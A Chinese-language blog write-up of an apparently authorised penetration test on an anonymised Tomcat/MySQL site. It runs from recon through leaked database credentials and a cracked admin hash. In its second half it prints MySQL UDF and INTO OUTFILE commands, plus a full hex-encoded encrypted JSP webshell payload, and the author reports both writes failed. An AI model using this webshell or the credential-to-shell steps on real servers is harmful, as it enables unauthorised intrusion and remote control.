记一次某企业实战
0x00 前言
近段时间来也没怎么更新过博客,在这里就来水篇文章吧。
前段时间一直在做项目,也来分享并且记录一下自己的一些成果,和一些小思路。
0x01 信息收集
渗透的第一步肯定是信息收集了,因为由于项目的渗透条件有限,就不做子域名的采集了,超出资产测试范围。
打开网站,发现是个登录框,比较头疼的就是这样的情况,因为没有多少功能点。
wap插件探测的指纹信息为tomcat、jsp
shodan插件显示开放端口
1099 3001 3306 5353 9090
nmap扫描扫描出来10081端口,打开发现是同样的登录框页面。
网站信息:
开放端口: 1099 3001 3306 5353 9090 10081
数据库:mysql
服务器:linux
中间件:tomcat
0x02 漏洞挖掘
网站的后台页面为www.xxx.com/index.action
.action结尾的可能是st2写的,直接拿st2的exp来打一下试试看,或许能有惊喜呢!
扫完后并未发现存在st2的反序列化漏洞。
尝试万能密码和注入也不行,想想还是扫描目录吧
针对于单个站点,并且没有域名的网站还是直接上dirsearch快速的扫描一下,主要的还是扫描一些敏感目录。
python3 dirsearch -u http://xxx.com -e *
扫描到WEB-INF路径,打开后发现个目录遍历
翻找目录看看能不能翻到有用的东西,这里可以直接定位到classes目录一般配置文章都存放在classes文件夹中
发现里面有很多配置文件,在jsp中数据库的连接密码普遍会存放在xxx..properties文件中,打开jdbc.properties
这里直接就显示了他的各种数据库的连接账户和密码
根据前面收集到的信息该数据库为mysql并且开放的端口为3306就可以直接连接他的数据库,如果权限大的话可以直接写入一句话getshell。
使用navicat连接
数据库连接成功后,先来看看他的权限
发现该用户权限和root用户的权限相等,并且密码相同
因为这里没有绝对路径,所以先翻找表内容,发现在manber表里面admin的密码,md5的值,拿到md5解密网站上面解密出来后,拿到后台进行登录
打开后台后,发现大部分页面点不开,上传点也没找到
但从这爆出了web目录的绝对路径可以记录一下,后台未找到上传点,回到数据库里面继续进行渗透。该数据库用户有读写权限,可以直接写入webshell。
查看 secure_file_priv是否为空
SHOW VARIABLES LIKE "secure_file_priv";
先来尝试一下能不能直接写入udf执行命令,查询plugin 插件目录所在位置
show variables like '%plugin%';
select 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into dumpfile '/opt/thirdsoft-2.0/mysql-5.1.42/lib/plugin/udf.so';
显示无法创建写入udf.so文件,那么来试试直接写入shell。
SELECT 0x3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c25696628726571756573742e676574506172616d6574657228226e697a652229213d6e756c6c297b537472696e67206b3d2822222b555549442e72616e646f6d555549442829292e7265706c61636528222d222c2222292e737562737472696e67283136293b73657373696f6e2e70757456616c7565282275222c6b293b6f75742e7072696e74286b293b72657475726e3b7d43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b253e into OUTFILE '/home/xxx/xxx-3.4.1/web/abc.jsp'
这里依旧写入不了,由于旁站啥的也没,所以这个点只能放弃了。
0x03 结尾
对于近期这些站还是比较头疼,尤其是对着各种登录框,功能点也比较少,能测的点不多。